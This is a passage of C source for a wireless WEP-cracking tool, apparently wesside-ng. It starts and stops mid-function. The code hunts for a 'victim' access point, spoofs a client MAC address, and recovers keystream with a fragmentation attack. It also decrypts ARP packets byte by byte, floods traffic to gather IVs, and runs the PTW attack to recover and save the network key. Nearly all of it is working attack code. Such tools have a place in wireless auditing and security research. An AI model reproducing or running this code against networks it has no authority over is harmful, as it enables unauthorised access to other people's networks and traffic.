len = 6;
memcpy(ptr, get_sa(wh), len);
ptr += len;
len = ptr - ((unsigned char*)clear);
return len;
}
void add_keystream(struct ieee80211_frame* wh, int rd)
{
unsigned char clear[1024];
int dlen = rd - sizeof(struct ieee80211_frame) - 4 - 4;
int clearsize;
unsigned char *body = (unsigned char*) (wh+1);
int i;
clearsize = known_clear(clear, wh, dlen);
if (clearsize < 16)
return;
for (i = 0; i < 16; i++)
clear[i] ^= body[4+i];
PTW_addsession(ptw, body, clear);
}
void got_wep(struct ieee80211_frame* wh, int rd) {
int bodylen;
int dlen;
unsigned char clear[1024];
int clearsize;
unsigned char *body;
bodylen = rd - sizeof(struct ieee80211_frame);
dlen = bodylen - 4 - 4;
body = (unsigned char*) wh + sizeof(*wh);
// log it if its stuff not from us...
if ( (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) ||
( (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
memcmp(wh->i_addr2, mymac, 6) != 0) ) {
if (body[3] != 0) {
time_print("Key index=%x!!\n", body[3]);
exit(1);
}
log_wep(wh, rd);
add_keystream(wh, rd);
// try to decrypt too
try_dictionary(wh, rd);
}
// look for arp-request packets... so we can decrypt em
if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
(memcmp(wh->i_addr3, mymac, 6) != 0) &&
(memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
(dlen == 36 || dlen == PADDED_ARPLEN) &&
!decryptstate.cipher &&
!netip) {
decrypt_arpreq(wh, rd);
}
// we have prga... check if its our stuff being relayed...
if (prgainfo.len != 0) {
// looks like it...
if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
(memcmp(wh->i_addr3, mymac, 6) == 0) &&
(memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
dlen == fragstate.len) {
// printf("I fink AP relayed it...\n");
set_prga(body, &body[4], fragstate.data, dlen);
free(fragstate.data);
fragstate.data = 0;
fragstate.waiting_relay = 0;
}
// see if we get the multicast stuff of when decrypting
if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
(memcmp(wh->i_addr3, mymac, 6) == 0) &&
(memcmp(wh->i_addr1, MCAST_PREF, 5) == 0) &&
dlen == 36) {
unsigned char pr = wh->i_addr1[5];
printf("\n");
time_print("Got clear-text byte: %d\n",
decryptstate.cipher[decryptstate.prgainfo.len-1] ^ pr);
decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] = pr;
decryptstate.prgainfo.len++;
decryptstate.fragstate.waiting_relay = 1;
// ok we got the ip...
if (decryptstate.prgainfo.len == 26+1) {
unsigned char ip[4];
int i;
struct in_addr *in = (struct in_addr*) ip;
unsigned char *ptr;
for (i = 0; i < 4; i++)
ip[i] = decryptstate.cipher[8+8+6+i] ^
decryptstate.prgainfo.prga[8+8+6+i];
assert(!netip);
netip = (unsigned char*) malloc(16);
if(!netip) {
perror("malloc()");
exit(1);
}
memset(netip, 0, 16);
strcpy(netip, inet_ntoa(*in));
time_print("Got IP=(%s)\n", netip);
strcpy(myip, netip);
ptr = strchr(myip, '.');
assert(ptr);
ptr = strchr(ptr+1, '.');
assert(ptr);
ptr = strchr(ptr+1, '.');
assert(ptr);
strcpy(ptr+1,"123");
time_print("My IP=(%s)\n", myip);
free(decryptstate.prgainfo.prga);
free(decryptstate.cipher);
memset(&decryptstate, 0, sizeof(decryptstate));
}
}
return;
}
clearsize = known_clear(clear, wh, dlen);
time_print("Datalen %d Known clear %d\n", dlen, clearsize);
set_prga(body, &body[4], clear, clearsize);
}
void stuff_for_net(struct ieee80211_frame* wh, int rd) {
int type,stype;
type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
if (type == IEEE80211_FC0_TYPE_DATA &&
stype == IEEE80211_FC0_SUBTYPE_DATA) {
int dlen = rd - sizeof(struct ieee80211_frame);
if (state == SPOOF_MAC) {
unsigned char mac[6];
if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
memcpy(mac, wh->i_addr3, 6);
} else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) {
memcpy(mac, wh->i_addr1, 6);
} else assert(0);
if (mac[0] == 0xff || mac[0] == 0x1)
return;
memcpy(mymac, mac, 6);
time_print("Trying to use MAC=(%s)\n", mac2str(mymac));
state = FOUND_VICTIM;
return;
}
// wep data!
if ( (wh->i_fc[1] & IEEE80211_FC1_WEP) && dlen > (4+8+4)) {
got_wep(wh, rd);
}
}
}
void anal(unsigned char* buf, int rd, int tx) { // yze
struct ieee80211_frame* wh = (struct ieee80211_frame *) buf;
int type,stype;
static int lastseq = -1;
int seq;
unsigned short *seqptr;
int for_us = 0;
if (rd < 1) {
time_print("rd=%d\n", rd);
exit(1);
}
type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
// sort out acks
if (state >= FOUND_VICTIM) {
// stuff for us
if (memcmp(wh->i_addr1, mymac, 6) == 0) {
for_us = 1;
if (type != IEEE80211_FC0_TYPE_CTL)
send_ack(tx);
}
}
// XXX i know it aint great...
seqptr = (unsigned short*) wh->i_seq;
seq = (*seqptr & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
if (seq == lastseq && (wh->i_fc[1] & IEEE80211_FC1_RETRY) &&
type != IEEE80211_FC0_TYPE_CTL) {
// printf("Ignoring dup packet... seq=%d\n", seq);
return;
}
lastseq = seq;
// management frame
if (type == IEEE80211_FC0_TYPE_MGT) {
if(state == FIND_VICTIM) {
if (stype == IEEE80211_FC0_SUBTYPE_BEACON ||
stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
if (get_victim_ssid(wh, rd)) {
return;
}
}
}
}
if (state >= FOUND_VICTIM) {
// stuff for us
if (for_us) {
stuff_for_us(wh, rd);
}
// stuff in network [even for us]
if ( ((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
(memcmp(victim.bss, wh->i_addr1, 6) == 0)) ||
((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
(memcmp(victim.bss, wh->i_addr2, 6) == 0))
) {
stuff_for_net(wh, rd);
}
}
}
void do_arp(unsigned char* buf, unsigned short op,
unsigned char* m1, unsigned char* i1,
unsigned char* m2, unsigned char* i2) {
struct in_addr sip;
struct in_addr dip;
struct arphdr* h;
unsigned char* data;
inet_aton(i1, &sip);
inet_aton(i2, &dip);
h = (struct arphdr*) buf;
memset(h, 0, sizeof(*h));
h->ar_hrd = htons(ARPHRD_ETHER);
h->ar_pro = htons(ETHERTYPE_IP);
h->ar_hln = 6;
h->ar_pln = 4;
h->ar_op = htons(op);
data = (unsigned char*) h + sizeof(*h);
memcpy(data, m1, 6);
data += 6;
memcpy(data, &sip, 4);
data += 4;
memcpy(data, m2, 6);
data += 6;
memcpy(data, &dip, 4);
data += 4;
}
void send_fragment(int tx, struct frag_state* fs, struct prga_info *pi) {
unsigned char buf[4096];
struct ieee80211_frame* wh;
unsigned char* body;
int fragsize;
uLong crc;
unsigned long *pcrc;
int i;
unsigned short* seq;
unsigned short sn, fn;
wh = (struct ieee80211_frame*) buf;
memcpy(wh, &fs->wh, sizeof(*wh));
body = (unsigned char*) wh + sizeof(*wh);
memcpy(body, &pi->iv, 3);
body += 3;
*body++ = 0; // key index
fragsize = fs->data + fs->len - fs->ptr;
assert(fragsize > 0);
if ( (fragsize + 4) > pi->len) {
fragsize = pi->len - 4;
wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
}
// last fragment
else {
wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
}
memcpy(body, fs->ptr, fragsize);
crc = crc32(0L, Z_NULL, 0);
crc = crc32(crc, body, fragsize);
pcrc = (unsigned long*) (body+fragsize);
*pcrc = crc;
for (i = 0; i < (fragsize + 4); i++)
body[i] ^= pi->prga[i];
seq = (unsigned short*) &wh->i_seq;
sn = (*seq & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
fn = *seq & IEEE80211_SEQ_FRAG_MASK;
// printf ("Sent frag (data=%d) (seq=%d fn=%d)\n", fragsize, sn, fn);
send_frame(tx, buf, sizeof(*wh) + 4 + fragsize+4);
seq = (unsigned short*) &fs->wh.i_seq;
*seq = fnseq(++fn, sn);
fs->ptr += fragsize;
if (fs->ptr - fs->data == fs->len) {
// printf("Finished sending frags...\n");
fs->waiting_relay = 1;
}
}
void prepare_fragstate(struct frag_state* fs, int pad) {
fs->waiting_relay = 0;
fs->len = 8 + 8 + 20 + pad;
fs->data = (unsigned char*) malloc(fs->len);
if(!fs->data) {
perror("malloc()");
exit(1);
}
fs->ptr = fs->data;
do_llc(fs->data, ETHERTYPE_ARP);
do_arp(&fs->data[8], ARPOP_REQUEST,
mymac, myip,
"\x00\x00\x00\x00\x00\x00", "192.168.0.1");
memset(&fs->wh, 0, sizeof(fs->wh));
fill_basic(&fs->wh);
memset(fs->wh.i_addr3, 0xff, 6);
fs->wh.i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
fs->wh.i_fc[1] |= IEEE80211_FC1_DIR_TODS |
IEEE80211_FC1_MORE_FRAG |
IEEE80211_FC1_WEP;
memset(&fs->data[8+8+20], 0, pad);
}
void discover_prga(int tx) {
// create packet...
if (!fragstate.data) {
int pad = 0;
if (prgainfo.len >= 20)
pad = prgainfo.len*3;
prepare_fragstate(&fragstate, pad);
}
if (!fragstate.waiting_relay) {
send_fragment(tx, &fragstate, &prgainfo);
if (fragstate.waiting_relay) {
if (gettimeofday(&fragstate.last, NULL) == -1)
err(1, "gettimeofday()");
}
}
}
void decrypt(int tx) {
// gotta initiate
if (!decryptstate.fragstate.data) {
prepare_fragstate(&decryptstate.fragstate, 0);
memcpy(decryptstate.fragstate.wh.i_addr3,
MCAST_PREF, 5);
decryptstate.fragstate.wh.i_addr3[5] =
decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
decryptstate.prgainfo.len++;
}
// guess diff prga byte...
if (decryptstate.fragstate.waiting_relay) {
unsigned short* seq;
decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1]++;
#if 0
if (decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] == 0) {
printf("Can't decrpyt!\n");
exit(1);
}
#endif
decryptstate.fragstate.wh.i_addr3[5] =
decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
decryptstate.fragstate.waiting_relay = 0;
decryptstate.fragstate.ptr = decryptstate.fragstate.data;
seq = (unsigned short*) &decryptstate.fragstate.wh.i_seq;
*seq = fnseq(0, txstate.psent);
}
send_fragment(tx, &decryptstate.fragstate,
&decryptstate.prgainfo);
}
void flood_inet(tx) {
static int send_arp = -1;
static unsigned char arp_pkt[128];
static int arp_len;
static unsigned char udp_pkt[128];
static int udp_len;
static struct timeval last_ip;
// need to init packets...
if (send_arp == -1) {
unsigned char* body;
unsigned char* ptr;
struct ieee80211_frame* wh;
struct ip* ih;
struct udphdr* uh;
memset(arp_pkt, 0, sizeof(arp_pkt));
memset(udp_pkt, 0, sizeof(udp_pkt));
// construct ARP
wh = (struct ieee80211_frame*) arp_pkt;
fill_basic(wh);
wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
memset(wh->i_addr3, 0xff, 6);
body = (unsigned char*) wh + sizeof(*wh);
ptr = body;
ptr += 4; // iv
do_llc(ptr, ETHERTYPE_ARP);
ptr += 8;
do_arp(ptr, ARPOP_REQUEST, mymac, myip,
"\x00\x00\x00\x00\x00\x00", netip);
wepify(body, 8+8+20);
arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
assert(arp_len < sizeof(arp_pkt));
// construct UDP
wh = (struct ieee80211_frame*) udp_pkt;
fill_basic(wh);
wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
memcpy(wh->i_addr3, rtrmac, 6);
body = (unsigned char*) wh + sizeof(*wh);
ptr = body;
ptr += 4; // iv
do_llc(ptr, ETHERTYPE_IP);
ptr += 8;
ih = (struct ip*) ptr;
ih->ip_hl = 5;
ih->ip_v = 4;
ih->ip_tos = 0;
ih->ip_len = htons(20+8+5);
ih->ip_id = htons(666);
ih->ip_off = 0;
ih->ip_ttl = 128;
ih->ip_p = IPPROTO_UDP;
ih->ip_sum = 0;
inet_aton(myip, &ih->ip_src);
inet_aton(floodip, &ih->ip_dst);
ih->ip_sum = in_cksum((unsigned short*)ih, 20);
ptr += 20;
uh = (struct udphdr*) ptr;
uh->uh_sport = htons(floodsport);
uh->uh_dport = htons(floodport);
uh->uh_ulen = htons(8+5);
uh->uh_sum = 0;
ptr += 8;
strcpy(ptr, "sorbo");
uh->uh_sum = udp_checksum(ptr - 8, 8+5, &ih->ip_src,
&ih->ip_dst);
wepify(body, 8+20+8+5);
udp_len = sizeof(*wh) + 4 + 8 + 20 + 8 + 5 + 4;
assert(udp_len < sizeof(udp_pkt));
// bootstrap
send_arp = 1;
memset(&last_ip, 0, sizeof(last_ip));
}
if (send_arp == 1) {
struct timeval now;
unsigned long sec;
if (gettimeofday(&now, NULL) == -1) {
perror("gettimeofday()");
exit(1);
}
sec = now.tv_sec - last_ip.tv_sec;
if (sec < 5)
return;
send_frame(tx, arp_pkt, arp_len);
send_arp = 0;
}
else if (send_arp == 0) {
if (gettimeofday(&last_ip, NULL) == -1) {
perror("gettimeofday()");
exit(1);
}
send_frame(tx, udp_pkt, udp_len);
send_arp = 1;
} else assert(0);
}
void send_arp(int tx, unsigned short op, unsigned char* srcip,
unsigned char* srcmac, unsigned char* dstip,
unsigned char* dstmac) {
static unsigned char arp_pkt[128];
unsigned char* body;
unsigned char* ptr;
struct ieee80211_frame* wh;
int arp_len;
memset(arp_pkt, 0, sizeof(arp_pkt));
// construct ARP
wh = (struct ieee80211_frame*) arp_pkt;
fill_basic(wh);
wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
memset(wh->i_addr3, 0xff, 6);
body = (unsigned char*) wh + sizeof(*wh);
ptr = body;
ptr += 4; // iv
do_llc(ptr, ETHERTYPE_ARP);
ptr += 8;
do_arp(ptr, op, srcmac, srcip, dstmac, dstip);
wepify(body, 8+8+20);
arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
assert(arp_len < sizeof(arp_pkt));
send_frame(tx, arp_pkt, arp_len);
}
void can_write(int tx) {
static char arp_ip[16];
switch (state) {
case FOUND_VICTIM:
send_auth(tx);
state = SENDING_AUTH;
break;
case GOT_AUTH:
send_assoc(tx);
state = SENDING_ASSOC;
break;
case GOT_ASSOC:
if (prgainfo.prga && prgainfo.len < min_prga) {
discover_prga(tx);
break;
}
if (decryptstate.cipher) {
decrypt(tx);
break;
}
if (!prgainfo.prga)
break;
if (taptx_len) {
send_frame(tx, taptx, taptx_len);
taptx_len = 0;
break;
}
// try to find rtr mac addr
if (netip && !rtrmac) {
char* ptr;
strcpy(arp_ip, netip);
if (!netip_arg) {
ptr = strchr(arp_ip, '.');
assert(ptr);
ptr = strchr(++ptr, '.');
assert(ptr);
ptr = strchr(++ptr, '.');
assert(ptr);
strcpy(++ptr, "1");
}
if (gettimeofday(&arpsend, NULL) == -1)
err(1, "gettimeofday()");
time_print("Sending arp request for: %s\n", arp_ip);
send_arp(tx, ARPOP_REQUEST, myip, mymac,
arp_ip, "\x00\x00\x00\x00\x00\x00");
// XXX lame
rtrmac = (unsigned char*)1;
break;
}
// need to generate traffic...
if (rtrmac > (unsigned char*)1 && netip) {
if (floodip)
flood_inet(tx);
else {
// XXX lame technique... anyway... im
// only interested in flood_inet...
// could ping broadcast....
send_arp(tx, ARPOP_REQUEST, myip, mymac,
arp_ip, "\x00\x00\x00\x00\x00\x00");
}
break;
}
break;
}
}
void save_key(unsigned char *key, int len)
{
char tmp[16];
char k[64];
int fd;
int rd;
assert(len*3 < sizeof(k));
k[0] = 0;
while (len--) {
sprintf(tmp, "%.2X", *key++);
strcat(k, tmp);
if (len)
strcat(k, ":");
}
fd = open(KEY_FILE, O_WRONLY | O_CREAT | 0644);
if (fd == -1)
err(1, "open()");
printf("\nKey: %s\n", k);
rd = write(fd, k, strlen(k));
if (rd == -1)
err(1, "write()");
if (rd != strlen(k))
errx(1, "write %d/%d\n", rd, strlen(k));
close(fd);
}
#define KEYLIMIT (1000000)
int do_crack(void)
{
unsigned char key[PTW_KEYHSBYTES];
if(PTW_computeKey(ptw, key, 13, KEYLIMIT) == 1) {
save_key(key, 13);
return 1;
}
if(PTW_computeKey(ptw, key, 5, KEYLIMIT/10) == 1) {
save_key(key, 5);
return 1;
}
return 0;
}
void try_crack() {
if (crack_pid) {
printf("\n");
time_print("Warning... previous crack still running!\n");
kill_crack();
}
if (weplog.fd) {
if (fsync(weplog.fd) == -1)
err(1, "fsync");
}
crack_pid = fork();
if (crack_pid == -1)
err(1, "fork");
// child
if (crack_pid == 0) {
if (!do_crack())
printf("\nCrack unsuccessful\n");
exit(1);
}
// parent
printf("\n");
time_print("Starting crack PID=%d\n", crack_pid);
if (gettimeofday(&crack_start, NULL) == -1)
err(1, "gettimeofday");
wep_thresh += thresh_incr;
}
void open_tap() {
struct stat st;
int s;
struct ifreq ifr;
unsigned int flags;
tapfd = open(TAP_DEV, O_RDWR);
if (tapfd == -1) {
printf("Can't open tap: %s\n", strerror(errno));
exit(1);
}
if(fstat(tapfd, &st) == -1) {
perror("fstat()");
exit(1);
}
// feer
strcpy(tapdev, devname(st.st_rdev, S_IFCHR));
s = socket(PF_INET, SOCK_DGRAM, 0);
if (s == -1) {
perror("socket()");
exit(1);
}
// MTU
memset(&ifr, 0, sizeof(ifr));
strcpy(ifr.ifr_name, tapdev);
ifr.ifr_mtu = 1500;
if (ioctl(s, SIOCSIFMTU, &ifr) == -1) {
perror("ioctl(SIOCSIFMTU)");
exit(1);
}
// set iface up
memset(&ifr, 0, sizeof(ifr));
strcpy(ifr.ifr_name, tapdev);
if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
perror("ioctl(SIOCGIFFLAGS)");
exit(1);
}
flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
flags |= IFF_UP;
memset(&ifr, 0, sizeof(ifr));
strcpy(ifr.ifr_name, tapdev);
ifr.ifr_flags = flags & 0xffff;
ifr.ifr_flagshigh = flags >> 16;
if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
perror("ioctl(SIOCSIFFLAGS)");
exit(1);
}
close(s);
time_print("Opened tap device: %s\n", tapdev);
}
void read_tap() {
unsigned char buf[4096];
struct ether_header* eh;
struct ieee80211_frame* wh;
int rd;
unsigned char* ptr, *body;
int dlen;
rd = read(tapfd, buf, sizeof(buf));
if (rd == -1) {
perror("read()");
exit(1);
}
dlen = rd - sizeof(*eh);
assert(dlen > 0);
if (dlen+8 > prgainfo.len) {
printf("\n");
// XXX lame message...
time_print("Sorry... want to send %d but only got %d prga\n",
dlen, prgainfo.len);
return;
}
if (taptx_len) {
printf("\n");
time_print("Sorry... overflow in TAP queue [of 1 packet =P] overwriting\n");
// XXX could not read instead and get rid of it in select...
}
assert (rd < (sizeof(buf)-sizeof(*wh) - 8 - 8));
eh = (struct ether_header*) buf;
wh = (struct ieee80211_frame*) taptx;
memset(wh, 0, sizeof(*wh));
fill_basic(wh);
wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
memcpy(wh->i_addr2, eh->ether_shost, 6);
memcpy(wh->i_addr3, eh->ether_dhost, 6);
body = (unsigned char*) wh + sizeof(*wh);
ptr = body;
ptr += 4; // iv
do_llc(ptr, ntohs(eh->ether_type));
ptr += 8;
memcpy(ptr, &buf[sizeof(*eh)], dlen);
wepify(body, 8+dlen);
taptx_len = sizeof(*wh) + 4 + 8 + dlen + 4;
assert (taptx_len < sizeof(taptx));
}
int elapsedd(struct timeval *past, struct timeval *now)
{
int el;
el = now->tv_sec - past->tv_sec;
assert(el >= 0);
if (el == 0) {
el = now->tv_usec - past->tv_usec;
} else {
el = (el - 1)*1000*1000;
el += 1000*1000-past->tv_usec;
el += now->tv_usec;
}
return el;
}
static unsigned char *get_80211(unsigned char **data, int *totlen, int *plen)
{
#define BIT(n) (1<<(n))
struct bpf_hdr *bpfh;
struct ieee80211_radiotap_header *rth;
uint32_t present;
uint8_t rflags;
void *ptr;
static int nocrc = 0;
assert(*totlen);
/* bpf hdr */
bpfh = (struct bpf_hdr*) (*data);
assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
*totlen -= bpfh->bh_hdrlen;
/* check if more packets */
if ((int)bpfh->bh_caplen < *totlen) {
int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
int offset = BPF_WORDALIGN(tot);
*data = (char*)bpfh + offset;
*totlen -= offset - tot; /* take into account align bytes */
} else if ((int)bpfh->bh_caplen > *totlen)
abort();
*plen = bpfh->bh_caplen;
*totlen -= bpfh->bh_caplen;
assert(*totlen >= 0);
/* radiotap */
rth = (struct ieee80211_radiotap_header*)
((char*)bpfh + bpfh->bh_hdrlen);
/* XXX cache; drivers won't change this per-packet */
/* check if FCS/CRC is included in packet */
present = le32toh(rth->it_present);
if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) {
if (present & BIT(IEEE80211_RADIOTAP_TSFT))
rflags = ((const uint8_t *)rth)[8];
else
rflags = ((const uint8_t *)rth)[0];
} else
rflags = 0;
*plen -= rth->it_len;
assert(*plen > 0);
/* 802.11 CRC */
if (nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) {
*plen -= IEEE80211_CRC_LEN;
nocrc = 1;
}
ptr = (char*)rth + rth->it_len;
return ptr;
#undef BIT
}
static int read_packet(int fd, unsigned char *dst, int len)
{
static unsigned char buf[4096];
static int totlen = 0;
static unsigned char *next = buf;
unsigned char *pkt;
int plen;
assert(len > 0);
/* need to read more */
if (totlen == 0) {
totlen = read(fd, buf, sizeof(buf));
if (totlen == -1) {
totlen = 0;
return -1;
}
next = buf;
}
/* read 802.11 packet */
pkt = get_80211(&next, &totlen, &plen);
if (plen > len)
plen = len;
assert(plen > 0);
memcpy(dst, pkt, plen);
return plen;
}
void own(int wifd) {
unsigned char buf[4096];
int rd;
fd_set rfd;
struct timeval tv;
char *pbar = "/-\\|";
char *pbarp = &pbar[0];
struct timeval lasthop;
struct timeval now;
unsigned int last_wep_count = 0;
struct timeval last_wcount;
struct timeval last_status;
int fd;
int largest;
weplog.fd = open(WEP_FILE, O_WRONLY | O_APPEND);
if (weplog.fd == -1) {
struct pcap_file_header pfh;
memset(&pfh, 0, sizeof(pfh));
pfh.magic = TCPDUMP_MAGIC;
pfh.version_major = PCAP_VERSION_MAJOR;
pfh.version_minor = PCAP_VERSION_MINOR;
pfh.thiszone = 0;
pfh.sigfigs = 0;
pfh.snaplen = 65535;
pfh.linktype = LINKTYPE_IEEE802_11;
weplog.fd = open(WEP_FILE, O_WRONLY | O_CREAT,
S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
if (weplog.fd != -1) {
if (write(weplog.fd, &pfh, sizeof(pfh)) != sizeof(pfh))
err(1, "write()");
}
}
else {
time_print("WARNING: Appending in %s\n", WEP_FILE);
}
if (weplog.fd == -1) {
perror("open()");
exit(1);
}
fd = open(PRGA_FILE, O_RDONLY);
if (fd != -1) {
time_print("WARNING: reading prga from %s\n", PRGA_FILE);
rd = read(fd, buf, sizeof(buf));
if (rd == -1) {
perror("read()");
exit(1);
}
if (rd >= 8) {
set_prga(buf, NULL, &buf[3], rd - 3);
}
close(fd);
}
fd = open(DICT_PATH, O_RDONLY);
if (fd == -1) {
time_print("Creating dictionary directory (%s)\n", DICT_PATH);
if (mkdir (DICT_PATH, 0755) == -1) {
perror("mkdir()");
exit(1);
}
}
else
close(fd);
open_tap();
set_if_mac(mymac, tapdev);
time_print("Set tap MAC to: %s\n", mac2str(mymac));
if (tapfd > wifd)
largest = tapfd;
else
largest = wifd;
if (signal(SIGINT, &cleanup) == SIG_ERR) {
perror("signal()");
exit(1);
}
if (signal (SIGTERM, &cleanup) == SIG_ERR) {
perror("signal()");
exit(1);
}
time_print("Looking for a victim...\n");
if (gettimeofday(&lasthop, NULL) == -1) {
perror("gettimeofday()");
exit(1);
}
memcpy(&last_wcount, &lasthop, sizeof(last_wcount));
memcpy(&last_status, &lasthop, sizeof(last_status));
while (1) {
if (gettimeofday(&now, NULL) == -1) {
perror("gettimeofday()");
exit(1);
}
/* check for relay timeout */
if (fragstate.waiting_relay) {
int el;
el = now.tv_sec - fragstate.last.tv_sec;
assert (el >= 0);
if (el == 0) {
el = now.tv_usec - fragstate.last.tv_usec;
} else {
el--;
el *= 1000*1000;
el += 1000*1000 - fragstate.last.tv_usec;
el += now.tv_usec;
if (el > (1500*1000)) {
// printf("\nLAMER timeout\n\n");
free(fragstate.data);
fragstate.data = 0;
}
}
}
/* check for arp timeout */
if (rtrmac == (unsigned char*) 1) {
int el;
el = elapsedd(&arpsend, &now);
if (el >= (1500*1000)) {
rtrmac = 0;
}
}
// status bar
if ( (now.tv_sec > last_status.tv_sec ) ||
( now.tv_usec - last_status.tv_usec > 100*1000)) {
if (crack_pid && (now.tv_sec > last_status.tv_sec)) {
check_key();
}
if (netip && prgainfo.len >= min_prga &&
rtrmac > (unsigned char*) 1) {
time_print("WEP=%.9d (next crack at %d) IV=%.2x:%.2x:%.2x (rate=%d) \r",
weplog.packets, wep_thresh,
weplog.iv[0], weplog.iv[1], weplog.iv[2],
weplog.rate);
fflush(stdout);
}
else {
if (state == FIND_VICTIM)
time_print("Chan %.02d %c\r", chaninfo.chan, *pbarp);
else if (decryptstate.cipher) {
int pos = decryptstate.prgainfo.len - 1;
unsigned char prga = decryptstate.prgainfo.prga[pos];
assert(pos);
time_print("Guessing PRGA %.2x (IP byte=%d) \r",
prga, decryptstate.cipher[pos] ^ prga);
}
else
time_print("%c\r", *pbarp);
fflush(stdout);
}
memcpy(&last_status, &now,sizeof(last_status));
}
// check if we are cracking
if (crack_pid) {
if (now.tv_sec - crack_start.tv_sec >= crack_dur)
kill_crack();
}
// check TX / retransmit
if (txstate.waiting_ack) {
unsigned int elapsed = now.tv_sec -
txstate.tsent.tv_sec;
elapsed *= 1000*1000;
elapsed += (now.tv_usec - txstate.tsent.tv_usec);
if (elapsed >= ack_timeout)
send_frame(wifd, NULL, -1);
}
// INPUT
// select
FD_ZERO(&rfd);
FD_SET(wifd, &rfd);
FD_SET(tapfd, &rfd);
tv.tv_sec = 0;
tv.tv_usec = 1000*10;
rd = select(largest+1, &rfd, NULL, NULL, &tv);
if (rd == -1) {
perror("select()");
exit(1);
}
// read
if (rd != 0) {
// wifi
if (FD_ISSET(wifd, &rfd)) {
rd = read_packet(wifd, buf, sizeof(buf));
if (rd == 0)
return;
if (rd == -1) {
perror("read()");
exit(1);
}
pbarp++;
if(!(*pbarp))
pbarp = &pbar[0];
// input
anal(buf, rd, wifd);
}
// tap
if (FD_ISSET(tapfd, &rfd)) {
read_tap();
}
}
// check state and what we do next.
if (state == FIND_VICTIM) {
if (now.tv_sec > lasthop.tv_sec ||
( (now.tv_usec - lasthop.tv_usec) >= 300*1000 )) {
int chan = chaninfo.chan;
chan++;
if(chan > max_chan)
chan = 1;
set_chan(chan);
memcpy(&lasthop, &now, sizeof(lasthop));
}
} else {
// check if we need to write something...
if (!txstate.waiting_ack)
can_write(wifd);
// roughly!
#ifdef MORE_ACCURATE
if ( (now.tv_sec - last_wcount.tv_sec) >= 2) {
unsigned int elapsed;
int secs;
int packetz = weplog.packets - last_wep_count;
elapsed = 1000*1000;
elapsed -= last_wcount.tv_usec;
assert(elapsed >= 0);
elapsed += now.tv_usec;
secs = now.tv_sec - last_wcount.tv_sec;
secs--;
if (secs > 0)
elapsed += (secs*1000*1000);
weplog.rate = (int)
((double)packetz/(elapsed/1000.0/1000.0));
#else
if ( now.tv_sec > last_wcount.tv_sec) {
weplog.rate = weplog.packets - last_wep_count;
#endif
last_wep_count = weplog.packets;
memcpy(&last_wcount, &now, sizeof(now));
if (wep_thresh != -1 && weplog.packets > wep_thresh)
try_crack();
}
}
}
}
void start(char *dev) {
int fd;
setup_if(dev);
fd = open_bpf(dev, DLT_IEEE802_11_RADIO);
ptw = PTW_newattackstate();
if (!ptw)
err(1, "PTW_newattackstate()");
own(fd);
#if 0
{
int i;
struct timeval tv;
set_chan(11);
for (i = 0; i < 10; i++) {
gettimeofday(&tv, NULL);
send_ack(tx);
// usleep(500);
printf("%lu\n", tv.tv_usec);
}
}
#endif
close(fd);
}
void usage(char* pname) {
printf("Usage: %s <opts>\n", pname);
printf("-h\t\tthis lame message\n");
printf("-i\t\t<iface>\n");
printf("-s\t\t<flood server ip>\n");
printf("-m\t\t<my ip>\n");
printf("-n\t\t<net ip>\n");
printf("-r\t\t<rtr mac>\n");
printf("-a\t\t<mymac>\n");
printf("-c\t\tdo not crack\n");
printf("-p\t\t<min prga>\n");
printf("-4\t\t64 bit key\n");
printf("-v\t\tvictim mac\n");
printf("-t\t\t<crack thresh>\n");
printf("-f\t\t<max chan>\n");
exit(0);
}
void str2mac(unsigned char* dst, unsigned char* mac) {
unsigned int macf[6];
int i;
if( sscanf(mac, "%x:%x:%x:%x:%x:%x",
&macf[0], &macf[1], &macf[2],
